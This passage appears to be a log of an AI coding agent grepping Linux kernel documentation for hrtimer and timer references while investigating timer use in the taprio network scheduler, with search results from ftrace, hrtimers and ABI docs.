 Documentation/timers/highres.rst-193-based periodic tick is designed to be extended with dynamic tick functionality.
 --
 Documentation/timers/highres.rst=197=on PPC.
 Documentation/timers/highres.rst-198-
 Documentation/timers/highres.rst:199:The softirq for running the hrtimer queues and executing the callbacks has been
 Documentation/timers/highres.rst-200-separated from the tick bound timer softirq to allow accurate delivery of high
 --
 Documentation/timers/highres.rst=208=dynamic ticks
 --
 Documentation/timers/highres.rst-210-
 Documentation/timers/highres.rst:211:Dynamic ticks are the logical consequence of the hrtimer based periodic tick
 Documentation/timers/highres.rst:212:replacement (sched_tick). The functionality of the sched_tick hrtimer is
 Documentation/timers/highres.rst-213-extended by three functions:
 Documentation/timers/highres.rst-214-
 Documentation/timers/highres.rst:215:- hrtimer_stop_sched_tick
 Documentation/timers/highres.rst:216:- hrtimer_restart_sched_tick
 Documentation/timers/highres.rst:217:- hrtimer_update_jiffies
 Documentation/timers/highres.rst-218-
 Documentation/timers/highres.rst:219:hrtimer_stop_sched_tick() is called when a CPU goes into idle state. The code
 Documentation/timers/highres.rst:220:evaluates the next scheduled timer event (from both hrtimers and the timer
 Documentation/timers/highres.rst-221-wheel) and in case that the next event is further away than the next tick it
 --
 Documentation/timers/highres.rst=226=new timer whose expiry time is before the time which was identified as the
 Documentation/timers/highres.rst:227:nearest event in the previous call to hrtimer_stop_sched_tick.
 Documentation/timers/highres.rst-228-
 Documentation/timers/highres.rst:229:hrtimer_restart_sched_tick() is called when the CPU leaves the idle state before
 Documentation/timers/highres.rst:230:it calls schedule(). hrtimer_restart_sched_tick() resumes the periodic tick,
 Documentation/timers/highres.rst:231:which is kept active until the next call to hrtimer_stop_sched_tick().
 Documentation/timers/highres.rst-232-
 Documentation/timers/highres.rst:233:hrtimer_update_jiffies() is called from irq_enter() when an interrupt happens
 Documentation/timers/highres.rst-234-in the idle period to make sure that jiffies are up to date and the interrupt
 --
 Documentation/timers/hrtimers.rst-1-======================================================
 Documentation/timers/hrtimers.rst:2:hrtimers - subsystem for high-resolution kernel timers
 Documentation/timers/hrtimers.rst-3-======================================================
 --
 Documentation/timers/hrtimers.rst=64=While this subsystem does not offer high-resolution clock sources just
 Documentation/timers/hrtimers.rst:65:yet, the hrtimer subsystem can be easily extended with high-resolution
 Documentation/timers/hrtimers.rst-66-clock capabilities, and patches for that exist and are maturing quickly.
 --
 Documentation/timers/hrtimers.rst=74=APIs are separated from the timer wheel and are migrated over to
 Documentation/timers/hrtimers.rst:75:hrtimers. E.g. we could decrease the frequency of the timeout subsystem
 Documentation/timers/hrtimers.rst-76-from 250 Hz to 100 HZ (or even smaller).
 Documentation/timers/hrtimers.rst-77-
 Documentation/timers/hrtimers.rst:78:hrtimer subsystem implementation details
 Documentation/timers/hrtimers.rst-79-----------------------------------------
 --
 Documentation/timers/hrtimers.rst=114=of posix-timers simpler in general.
 Documentation/timers/hrtimers.rst-115-
 Documentation/timers/hrtimers.rst:116:The locking and per-CPU behavior of hrtimers was mostly taken from the
 Documentation/timers/hrtimers.rst-117-existing timer wheel code, as it is mature and well suited. Sharing code
 Documentation/timers/hrtimers.rst=118=was not really a win, due to the different data structures. Also, the
 Documentation/timers/hrtimers.rst:119:hrtimer functions now have clearer behavior and clearer names - such as
 Documentation/timers/hrtimers.rst:120:hrtimer_try_to_cancel() and hrtimer_cancel() [which are roughly
 Documentation/timers/hrtimers.rst-121-equivalent to timer_delete() and timer_delete_sync()] - so there's no direct
 --
 Documentation/timers/hrtimers.rst=131=context of the Y2038 work.)
 Documentation/timers/hrtimers.rst-132-
 Documentation/timers/hrtimers.rst:133:hrtimers - rounding of timer values
 Documentation/timers/hrtimers.rst-134------------------------------------
 Documentation/timers/hrtimers.rst-135-
 Documentation/timers/hrtimers.rst:136:the hrtimer code will round timer events to lower-resolution clocks
 Documentation/timers/hrtimers.rst-137-because it has to. Otherwise it will do no artificial rounding at all.
 --
 Documentation/timers/hrtimers.rst=141=a given clock has - be it low-res, high-res, or artificially-low-res.
 Documentation/timers/hrtimers.rst-142-
 Documentation/timers/hrtimers.rst:143:hrtimers - testing and verification
 Documentation/timers/hrtimers.rst-144------------------------------------
 Documentation/timers/hrtimers.rst-145-
 Documentation/timers/hrtimers.rst:146:We used the high-resolution clock subsystem on top of hrtimers to verify
 Documentation/timers/hrtimers.rst:147:the hrtimer implementation details in praxis, and we also ran the posix
 Documentation/timers/hrtimers.rst-148-timer tests in order to ensure specification compliance. We also ran
 Documentation/timers/hrtimers.rst=149=tests on low-resolution clocks.
 Documentation/timers/hrtimers.rst-150-
 Documentation/timers/hrtimers.rst:151:The hrtimer patch converts the following kernel functionality to use
 Documentation/timers/hrtimers.rst:152:hrtimers:
 Documentation/timers/hrtimers.rst-153-
 --
 Documentation/timers/hrtimers.rst=165=The code was run-tested on the following platforms:
 --
 Documentation/timers/hrtimers.rst-168-
 Documentation/timers/hrtimers.rst:169:hrtimers were also integrated into the -rt tree, along with a
 Documentation/timers/hrtimers.rst:170:hrtimers-based high-resolution clock implementation, so the hrtimers
 Documentation/timers/hrtimers.rst-171-code got a healthy amount of testing and use in practice.
 --
 Documentation/timers/index.rst=4=Timers
 --
 Documentation/timers/index.rst-11-    hpet
 Documentation/timers/index.rst:12:    hrtimers
 Documentation/timers/index.rst-13-    no_hz
 --
 Documentation/tools/rtla/rtla-timerlat-top.rst=47=higher is found::
 --
 Documentation/tools/rtla/rtla-timerlat-top.rst-84-                -> timerlat_irq
 Documentation/tools/rtla/rtla-timerlat-top.rst:85:                -> __hrtimer_run_queues
 Documentation/tools/rtla/rtla-timerlat-top.rst:86:                -> hrtimer_interrupt
 Documentation/tools/rtla/rtla-timerlat-top.rst-87-                -> __sysvec_apic_timer_interrupt
 --
 Documentation/trace/ftrace.rst=1728=was over.
 --
 Documentation/trace/ftrace.rst-1760-      bash-1994    1d.h1   13us : exit_idle <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:1761:      bash-1994    1d.h1   13us : hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:1762:      bash-1994    1d.h1   13us : _raw_spin_lock <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-1763-      bash-1994    1d.h1   14us : add_preempt_count <-_raw_spin_lock
 Documentation/trace/ftrace.rst:1764:      bash-1994    1d.h2   14us : ktime_get_update_offsets <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-1765-  [...]
 --
 Documentation/trace/ftrace.rst=2127=Doing the same with chrt -r 5 and function-trace set.
 --
 Documentation/trace/ftrace.rst-2158-    <idle>-0       3dNh2    6us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 Documentation/trace/ftrace.rst:2159:    <idle>-0       3dNh1    6us : _raw_spin_lock <-__run_hrtimer
 Documentation/trace/ftrace.rst-2160-    <idle>-0       3dNh1    6us : add_preempt_count <-_raw_spin_lock
 Documentation/trace/ftrace.rst:2161:    <idle>-0       3dNh2    7us : _raw_spin_unlock <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-2162-    <idle>-0       3dNh2    7us : sub_preempt_count <-_raw_spin_unlock
 Documentation/trace/ftrace.rst:2163:    <idle>-0       3dNh1    7us : tick_program_event <-hrtimer_interrupt
 Documentation/trace/ftrace.rst-2164-    <idle>-0       3dNh1    7us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2175-    <idle>-0       3.N.1   11us : tick_nohz_idle_exit <-cpu_idle
 Documentation/trace/ftrace.rst:2176:    <idle>-0       3dN.1   12us : menu_hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst-2177-    <idle>-0       3dN.1   12us : ktime_get <-tick_nohz_idle_exit
 --
 Documentation/trace/ftrace.rst-2187-    <idle>-0       3dN.1   15us : touch_softlockup_watchdog <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2188:    <idle>-0       3dN.1   15us : hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2189:    <idle>-0       3dN.1   15us : hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:2190:    <idle>-0       3dN.1   16us : lock_hrtimer_base.isra.18 <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:2191:    <idle>-0       3dN.1   16us : _raw_spin_lock_irqsave <-lock_hrtimer_base.isra.18
 Documentation/trace/ftrace.rst-2192-    <idle>-0       3dN.1   16us : add_preempt_count <-_raw_spin_lock_irqsave
 Documentation/trace/ftrace.rst:2193:    <idle>-0       3dN.2   17us : __remove_hrtimer <-remove_hrtimer.part.16
 Documentation/trace/ftrace.rst:2194:    <idle>-0       3dN.2   17us : hrtimer_force_reprogram <-__remove_hrtimer
 Documentation/trace/ftrace.rst:2195:    <idle>-0       3dN.2   17us : tick_program_event <-hrtimer_force_reprogram
 Documentation/trace/ftrace.rst-2196-    <idle>-0       3dN.2   18us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2198-    <idle>-0       3dN.2   18us : lapic_next_event <-clockevents_program_event
 Documentation/trace/ftrace.rst:2199:    <idle>-0       3dN.2   19us : _raw_spin_unlock_irqrestore <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst-2200-    <idle>-0       3dN.2   19us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 Documentation/trace/ftrace.rst:2201:    <idle>-0       3dN.1   19us : hrtimer_forward <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:2202:    <idle>-0       3dN.1   20us : ktime_add_safe <-hrtimer_forward
 Documentation/trace/ftrace.rst:2203:    <idle>-0       3dN.1   20us : ktime_add_safe <-hrtimer_forward
 Documentation/trace/ftrace.rst:2204:    <idle>-0       3dN.1   20us : hrtimer_start_range_ns <-hrtimer_start_expires.constprop.11
 Documentation/trace/ftrace.rst:2205:    <idle>-0       3dN.1   20us : __hrtimer_start_range_ns <-hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2206:    <idle>-0       3dN.1   21us : lock_hrtimer_base.isra.18 <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2207:    <idle>-0       3dN.1   21us : _raw_spin_lock_irqsave <-lock_hrtimer_base.isra.18
 Documentation/trace/ftrace.rst-2208-    <idle>-0       3dN.1   21us : add_preempt_count <-_raw_spin_lock_irqsave
 Documentation/trace/ftrace.rst:2209:    <idle>-0       3dN.2   22us : ktime_add_safe <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2210:    <idle>-0       3dN.2   22us : enqueue_hrtimer <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst:2211:    <idle>-0       3dN.2   22us : tick_program_event <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst-2212-    <idle>-0       3dN.2   23us : clockevents_program_event <-tick_program_event
 --
 Documentation/trace/ftrace.rst-2214-    <idle>-0       3dN.2   23us : lapic_next_event <-clockevents_program_event
 Documentation/trace/ftrace.rst:2215:    <idle>-0       3dN.2   24us : _raw_spin_unlock_irqrestore <-__hrtimer_start_range_ns
 Documentation/trace/ftrace.rst-2216-    <idle>-0       3dN.2   24us : sub_preempt_count <-_raw_spin_unlock_irqrestore
 --
 Documentation/trace/ftrace.rst=2247=events.
 --
 Documentation/trace/ftrace.rst-2277-    <idle>-0       2d.h4    1us : sched_wakeup: comm=sleep pid=5882 prio=94 success=1 target_cpu=002
 Documentation/trace/ftrace.rst:2278:    <idle>-0       2dNh2    1us : hrtimer_expire_exit: hrtimer=ffff88007796feb8
 Documentation/trace/ftrace.rst-2279-    <idle>-0       2.N.2    2us : power_end: cpu_id=2
 Documentation/trace/ftrace.rst-2280-    <idle>-0       2.N.2    3us : cpu_idle: state=4294967295 cpu_id=2
 Documentation/trace/ftrace.rst:2281:    <idle>-0       2dN.3    4us : hrtimer_cancel: hrtimer=ffff88007d50d5e0
 Documentation/trace/ftrace.rst:2282:    <idle>-0       2dN.3    4us : hrtimer_start: hrtimer=ffff88007d50d5e0 function=tick_sched_timer expires=34311211000000 softexpires=34311211000000
 Documentation/trace/ftrace.rst-2283-    <idle>-0       2.N.2    5us : rcu_utilization: Start context switch
 --
 Documentation/trace/ftrace.rst=2449=single thread. For example::
 --
 Documentation/trace/ftrace.rst-2462-      yum-updatesd-3111  [003]  1637.254676: finish_task_switch <-thread_return
 Documentation/trace/ftrace.rst:2463:      yum-updatesd-3111  [003]  1637.254681: hrtimer_cancel <-schedule_hrtimeout_range
 Documentation/trace/ftrace.rst:2464:      yum-updatesd-3111  [003]  1637.254682: hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:2465:      yum-updatesd-3111  [003]  1637.254683: lock_hrtimer_base <-hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst-2466-      yum-updatesd-3111  [003]  1637.254685: fget_light <-do_sys_poll
 --
 Documentation/trace/ftrace.rst=2997=listed in:
 --
 Documentation/trace/ftrace.rst-3011-
 Documentation/trace/ftrace.rst:3012:If I am only interested in sys_nanosleep and hrtimer_interrupt::
 Documentation/trace/ftrace.rst-3013-
 Documentation/trace/ftrace.rst:3014:  # echo sys_nanosleep hrtimer_interrupt > set_ftrace_filter
 Documentation/trace/ftrace.rst-3015-  # echo function > current_tracer
 --
 Documentation/trace/ftrace.rst-3031-            usleep-2665  [001] ....  4186.475355: sys_nanosleep <-system_call_fastpath
 Documentation/trace/ftrace.rst:3032:            <idle>-0     [001] d.h1  4186.475409: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3033:            usleep-2665  [001] d.h1  4186.475426: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3034:            <idle>-0     [003] d.h1  4186.475426: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:3035:            <idle>-0     [002] d.h1  4186.475427: hrtimer_interrupt <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst-3036-
 Documentation/trace/ftrace.rst=3037=To see which functions are being traced, you can cat the file:
 --
 Documentation/trace/ftrace.rst-3040-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3041:  hrtimer_interrupt
 Documentation/trace/ftrace.rst-3042-  sys_nanosleep
 --
 Documentation/trace/ftrace.rst=3045=Perhaps this is not enough. The filters also allow glob(7) matching.
 --
 Documentation/trace/ftrace.rst-3062-
 Documentation/trace/ftrace.rst:3063:  # echo 'hrtimer_*' > set_ftrace_filter
 Documentation/trace/ftrace.rst-3064-
 Documentation/trace/ftrace.rst=3065=Produces::
 --
 Documentation/trace/ftrace.rst-3077-  #              | |       |   ||||       |         |
 Documentation/trace/ftrace.rst:3078:            <idle>-0     [003] dN.1  4228.547803: hrtimer_cancel <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:3079:            <idle>-0     [003] dN.1  4228.547804: hrtimer_try_to_cancel <-hrtimer_cancel
 Documentation/trace/ftrace.rst:3080:            <idle>-0     [003] dN.2  4228.547805: hrtimer_force_reprogram <-__remove_hrtimer
 Documentation/trace/ftrace.rst:3081:            <idle>-0     [003] dN.1  4228.547805: hrtimer_forward <-tick_nohz_idle_exit
 Documentation/trace/ftrace.rst:3082:            <idle>-0     [003] dN.1  4228.547805: hrtimer_start_range_ns <-hrtimer_start_expires.constprop.11
 Documentation/trace/ftrace.rst:3083:            <idle>-0     [003] d..1  4228.547858: hrtimer_get_next_event <-get_next_timer_interrupt
 Documentation/trace/ftrace.rst:3084:            <idle>-0     [003] d..1  4228.547859: hrtimer_start <-__tick_nohz_idle_enter
 Documentation/trace/ftrace.rst:3085:            <idle>-0     [003] d..2  4228.547860: hrtimer_force_reprogram <-__rem
 Documentation/trace/ftrace.rst-3086-
 Documentation/trace/ftrace.rst=3087=Notice that we lost the sys_nanosleep.
 --
 Documentation/trace/ftrace.rst-3090-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3091:  hrtimer_run_queues
 Documentation/trace/ftrace.rst:3092:  hrtimer_run_pending
 Documentation/trace/ftrace.rst:3093:  hrtimer_setup
 Documentation/trace/ftrace.rst:3094:  hrtimer_cancel
 Documentation/trace/ftrace.rst:3095:  hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:3096:  hrtimer_forward
 Documentation/trace/ftrace.rst:3097:  hrtimer_start
 Documentation/trace/ftrace.rst:3098:  hrtimer_reprogram
 Documentation/trace/ftrace.rst:3099:  hrtimer_force_reprogram
 Documentation/trace/ftrace.rst:3100:  hrtimer_get_next_event
 Documentation/trace/ftrace.rst:3101:  hrtimer_interrupt
 Documentation/trace/ftrace.rst:3102:  hrtimer_nanosleep
 Documentation/trace/ftrace.rst:3103:  hrtimer_wakeup
 Documentation/trace/ftrace.rst:3104:  hrtimer_get_remaining
 Documentation/trace/ftrace.rst:3105:  hrtimer_get_res
 Documentation/trace/ftrace.rst:3106:  hrtimer_init_sleeper
 Documentation/trace/ftrace.rst-3107-
 --
 Documentation/trace/ftrace.rst=3120=Again, now we want to append.
 --
 Documentation/trace/ftrace.rst-3126-  sys_nanosleep
 Documentation/trace/ftrace.rst:3127:  # echo 'hrtimer_*' >> set_ftrace_filter
 Documentation/trace/ftrace.rst-3128-  # cat set_ftrace_filter
 Documentation/trace/ftrace.rst:3129:  hrtimer_run_queues
 Documentation/trace/ftrace.rst:3130:  hrtimer_run_pending
 Documentation/trace/ftrace.rst:3131:  hrtimer_setup
 Documentation/trace/ftrace.rst:3132:  hrtimer_cancel
 Documentation/trace/ftrace.rst:3133:  hrtimer_try_to_cancel
 Documentation/trace/ftrace.rst:3134:  hrtimer_forward
 Documentation/trace/ftrace.rst:3135:  hrtimer_start
 Documentation/trace/ftrace.rst:3136:  hrtimer_reprogram
 Documentation/trace/ftrace.rst:3137:  hrtimer_force_reprogram
 Documentation/trace/ftrace.rst:3138:  hrtimer_get_next_event
 Documentation/trace/ftrace.rst:3139:  hrtimer_interrupt
 Documentation/trace/ftrace.rst-3140-  sys_nanosleep
 Documentation/trace/ftrace.rst:3141:  hrtimer_nanosleep
 Documentation/trace/ftrace.rst:3142:  hrtimer_wakeup
 Documentation/trace/ftrace.rst:3143:  hrtimer_get_remaining
 Documentation/trace/ftrace.rst:3144:  hrtimer_get_res
 Documentation/trace/ftrace.rst:3145:  hrtimer_init_sleeper
 Documentation/trace/ftrace.rst-3146-
 --
 Documentation/trace/timerlat-tracer.rst=142=irq disabled. For example::
 --
 Documentation/trace/timerlat-tracer.rst-155-  => timerlat_irq
 Documentation/trace/timerlat-tracer.rst:156:  => __hrtimer_run_queues
 Documentation/trace/timerlat-tracer.rst:157:  => hrtimer_interrupt
 Documentation/trace/timerlat-tracer.rst-158-  => __sysvec_apic_timer_interrupt
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst=29=sysctl命令"kernel.panic"来设置），使系统在panic指定时间后自动重启。
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-33-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:34:Softlockup和hardlockup分别建立在hrtimer(高精度定时器)和perf两个子系统上而实现。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-35-这也就意味着理论上任何架构只要实现了这两个子系统就支持这两种检测机制。
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst=37=Hrtimer用于周期性产生中断并唤醒watchdog线程；NMI perf事件则以”watchdog_thresh“
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-38-(编译时默认初始化为10秒，也可通过”watchdog_thresh“这个sysctl接口来进行配置修改)
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:39:为间隔周期产生以检测 hardlockups。如果一个CPU在这个时间段内没有检测到hrtimer中
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-40-断发生，'hardlockup 检测器'(即NMI perf事件处理函数)将会视系统配置而选择产生内核
 --
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-44-如果时间戳在2*watchdog_thresh(这个是softlockup的触发门限)这段时间都未更新,那么
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:45:"softlocup 检测器"(内部hrtimer定时器回调函数)会将相关的调试信息打印到系统日志中，
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-46-然后如果系统配置了进入panic流程则进入panic，否则内核继续执行。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-47-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:48:Hrtimer定时器的周期是2*watchdog_thresh/5，也就是说在hardlockup被触发前hrtimer有
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-49-2~3次机会产生时钟中断。
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-50-
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst:51:如上所述,内核相当于为系统管理员提供了一个可调节hrtimer定时器和perf事件周期长度
 Documentation/translations/zh_CN/admin-guide/lockup-watchdogs.rst-52-的调节旋钮。如何通过这个旋钮为特定使用场景配置一个合理的周期值要对lockups检测的
 --
]
]

gemini-3.1-pro-preview

							input: 60987
							output: 19
							thoughts: 21
						

Okay, let's dive into this. Here's how I'd approach this task, as if these were my internal thoughts:

**Analyzing `net/sched/sch_taprio.c` for `hrtimer`**

Right, let's get down to brass tacks. The objective is clear: I need to scrutinize the `net/sched/sch_taprio.c` file and pinpoint where `hrtimer` is being utilized. Given my expertise, I'm already anticipating the typical scenarios – it's likely involved in scheduling tasks, managing timers for packet transmission, or perhaps even in enforcing the temporal constraints of the traffic shaping algorithm itself. I'll need to look for calls to `hrtimer_start`, `hrtimer_cancel`, and any associated callback functions. I'll be particularly vigilant for how they're used in the context of priority queues and bandwidth allocation. I want to understand precisely how the taprio scheduler leverages high-resolution timers to achieve its precise time-sensitive traffic shaping. I'll be looking for any potential synchronization issues or race conditions that are handled with `hrtimer` being at the core. My mind is already racing through the likely data structures and the interactions they'll have with `hrtimer`'s operations. Let's see if my expectations hold.

no matches

map[Expression:hrtimer.*taprio]

map[Output:]

gemini-3.1-pro-preview

							input: 61317
							output: 15
							thoughts: 28
						

Okay, here's my interpretation of that thought process, as if it were my own:

**Diving into the TAPRIO Scheduler Code**

Alright, time to get to the heart of this TAPRIO scheduling implementation. My first step is clear: I need to understand how the timing mechanism works. Given that this is a critical aspect of shaping traffic with precision, I'm going straight to the source. The file `net/sched/sch_taprio.c` is the obvious place to begin. My strategy is simple, but effective. I'll load that file up and immediately focus on the `hrtimer` and `timer` functions or variables. These are the keywords to guide me to the timing-related parts. That should quickly illuminate how the TAPRIO scheduler actually realizes its time-based scheduling behavior. I'm expecting to see how events are scheduled and managed, especially related to the shaping and the transmission times for the traffic. Let's see what we can find.

map[Expression:timer]

map[Output:
Full output is too long, showing 500 out of 223133 lines.
Use more precise expression if possible.

[CREDITS=834=D: 3c501 hacker
 CREDITS:835:D: Watchdog timer drivers
 CREDITS-836-D: Linux/SMP x86 (up to 2.0 only)
 --
 CREDITS=3666=E: sinster@darkwater.com
 CREDITS:3667:D: Whatever I notice needs doing (so far: itimers, /proc)
 CREDITS-3668-S: Post Office Box 64132
 --
 CREDITS=3747=D: library hacker: RPC, profil(3), realpath(3), regexp.h
 CREDITS:3748:D: kernel hacker: unnamed block devs, NFS client, fast select, precision timer
 CREDITS-3749-S: 24 Avon Place
 --
 Documentation/ABI/stable/sysfs-class-infiniband=488=Description:
 --
 Documentation/ABI/stable/sysfs-class-infiniband-496-				map and an array of 16 entries for the
 Documentation/ABI/stable/sysfs-class-infiniband:497:				congestion entries - increase, timer, event log
 Documentation/ABI/stable/sysfs-class-infiniband-498-				trigger threshold and the minimum injection rate
 --
 Documentation/ABI/stable/sysfs-class-infiniband=659=Description:
 --
 Documentation/ABI/stable/sysfs-class-infiniband-668-				map and an array of 16 entries for the
 Documentation/ABI/stable/sysfs-class-infiniband:669:				congestion entries - increase, timer, event log
 Documentation/ABI/stable/sysfs-class-infiniband-670-				trigger threshold and the minimum injection rate
 --
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp=178=Description:
 --
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-193-		The default limit for the over temperature is 90 Degree Celsius.
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp:194:		The default timer interval for the external watchdog is 570ms.
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-195-
 --
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-247-
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp:248:		Configure external watchdog timer interval to 500ms
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-249-		# echo 4 > /sys/devices/platform/firmware\:zynqmp-firmware/feature_config_id
 --
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-251-
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp:252:		Check whether the external watchdog timer interval is configured or not
 Documentation/ABI/stable/sysfs-driver-firmware-zynqmp-253-		# cat /sys/devices/platform/firmware\:zynqmp-firmware/feature_config_value
 --
 Documentation/ABI/stable/sysfs-transport-srp=12=Description:	Number of seconds the SCSI layer will wait after a transport
 --
 Documentation/ABI/stable/sysfs-transport-srp-14-		Zero means immediate removal. Setting this attribute to "off"
 Documentation/ABI/stable/sysfs-transport-srp:15:		will disable the dev_loss timer.
 Documentation/ABI/stable/sysfs-transport-srp-16-
 --
 Documentation/ABI/stable/sysfs-transport-srp=21=Description:	Number of seconds the SCSI layer will wait after a transport
 --
 Documentation/ABI/stable/sysfs-transport-srp-23-		failing I/O immediately. Setting this attribute to "off" will
 Documentation/ABI/stable/sysfs-transport-srp:24:		disable the fast_io_fail timer.
 Documentation/ABI/stable/sysfs-transport-srp-25-
 --
 Documentation/ABI/stable/sysfs-transport-srp=51=Description:	State of the transport layer used for communication with the
 --
 Documentation/ABI/stable/sysfs-transport-srp-53-		"blocked" if a transport layer error has been encountered but
 Documentation/ABI/stable/sysfs-transport-srp:54:		the fast_io_fail_tmo timer has not yet fired; "fail-fast"
 Documentation/ABI/stable/sysfs-transport-srp:55:		after the fast_io_fail_tmo timer has fired and before the
 Documentation/ABI/stable/sysfs-transport-srp:56:		"dev_loss_tmo" timer has fired; "lost" after the
 Documentation/ABI/stable/sysfs-transport-srp:57:		"dev_loss_tmo" timer has fired and before the port is finally
 Documentation/ABI/stable/sysfs-transport-srp-58-		removed.
 --
 Documentation/ABI/testing/configfs-iio=13=Description:
 --
 Documentation/ABI/testing/configfs-iio-15-
 Documentation/ABI/testing/configfs-iio:16:What:		/config/iio/triggers/hrtimers
 Documentation/ABI/testing/configfs-iio-17-Date:		October 2015
 --
 Documentation/ABI/testing/configfs-iio=19=Description:
 Documentation/ABI/testing/configfs-iio:20:		High resolution timers directory. Creating a directory here
 Documentation/ABI/testing/configfs-iio:21:		will result in creating a hrtimer trigger in the IIO subsystem.
 Documentation/ABI/testing/configfs-iio-22-
 --
 Documentation/ABI/testing/debugfs-driver-genwqe=70=Description:    Default VF timeout 250ms. Testing might require 1000ms.
 --
 Documentation/ABI/testing/debugfs-driver-genwqe-80-
 Documentation/ABI/testing/debugfs-driver-genwqe:81:What:           /sys/kernel/debug/genwqe/genwqe<n>_card/jobtimer
 Documentation/ABI/testing/debugfs-driver-genwqe-82-Date:           Oct 2013
 --
 Documentation/ABI/testing/debugfs-dwc-pcie=92=Description:	The "rasdes_event_counters" is the directory which can be used
 --
 Documentation/ABI/testing/debugfs-dwc-pcie-104-		8) CTL SKP OS Parity Error
 Documentation/ABI/testing/debugfs-dwc-pcie:105:		9) 1st Retimer Parity Error
 Documentation/ABI/testing/debugfs-dwc-pcie:106:		10) 2nd Retimer Parity Error
 Documentation/ABI/testing/debugfs-dwc-pcie-107-		11) Margin CRC and Parity Error
 --
 Documentation/ABI/testing/sysfs-block-aoe=22=Description:
 --
 Documentation/ABI/testing/sysfs-block-aoe-29-		commands waiting for a response. It will retry again after being
 Documentation/ABI/testing/sysfs-block-aoe:30:		kicked by the periodic timer handler routine.
 Documentation/ABI/testing/sysfs-block-aoe-31-
 --
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios=5=Description:	Read-only. Returns the FEC mode of the 25G links of the
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:6:		ethernet retimers configured by Nios firmware. "rs" for Reed
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-7-		Solomon FEC, "kr" for Fire Code FEC, "no" for NO FEC.
 --
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-12-
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:13:What:		/sys/bus/dfl/devices/dfl_dev.X/retimer_A_mode
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-14-Date:		Oct 2020
 --
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios=17=Description:	Read-only. Returns the enumeration value of the working mode of
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:18:		the retimer A configured by the Nios firmware. The value is
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-19-		read out from shared registers filled by the Nios firmware. Now
 --
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-29-		If the Nios firmware is updated in future to support more
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:30:		retimer modes, more enumeration value is expected.
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-31-		Format: 0x%x
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-32-
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:33:What:		/sys/bus/dfl/devices/dfl_dev.X/retimer_B_mode
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-34-Date:		Oct 2020
 --
